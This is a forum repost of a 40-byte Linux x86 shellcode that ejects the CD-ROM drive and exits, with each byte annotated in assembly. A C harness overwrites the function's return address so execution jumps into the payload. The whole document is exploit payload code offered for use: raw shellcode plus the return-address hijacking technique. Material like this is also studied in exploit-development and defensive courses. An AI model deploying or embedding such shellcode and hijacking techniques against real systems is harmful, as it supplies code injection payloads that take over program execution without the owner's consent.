linux/x86 eject cd-rom (follows /dev/cdrom symlink) + exit() 40 bytes
文章作者：izik[code]/*
* (linux/x86) eject cd-rom (follows "/dev/cdrom" symlink) + exit() - 40 bytes
* - izik <[email]izik@tty64.org[/email]>
*/
char shellcode[] =
"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\xb5\x08" // mov $0x8,%ch
"\x68\x64\x72\x6f\x6d" // push $0x6d6f7264
"\x68\x65\x76\x2f\x63" // push $0x632f7665
"\x68\x2f\x2f\x2f\x64" // push $0x642f2f2f
"\x89\xe3" // mov %esp,%ebx
"\xcd\x80" // int $0x80
"\x89\xc3" // mov %eax,%ebx
"\xb0\x36" // mov $0x36,%al
"\x66\xb9\x09\x53" // mov $0x5309,%cx
"\xcd\x80" // int $0x80
"\x40" // inc %eax
"\xcd\x80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}[/code]
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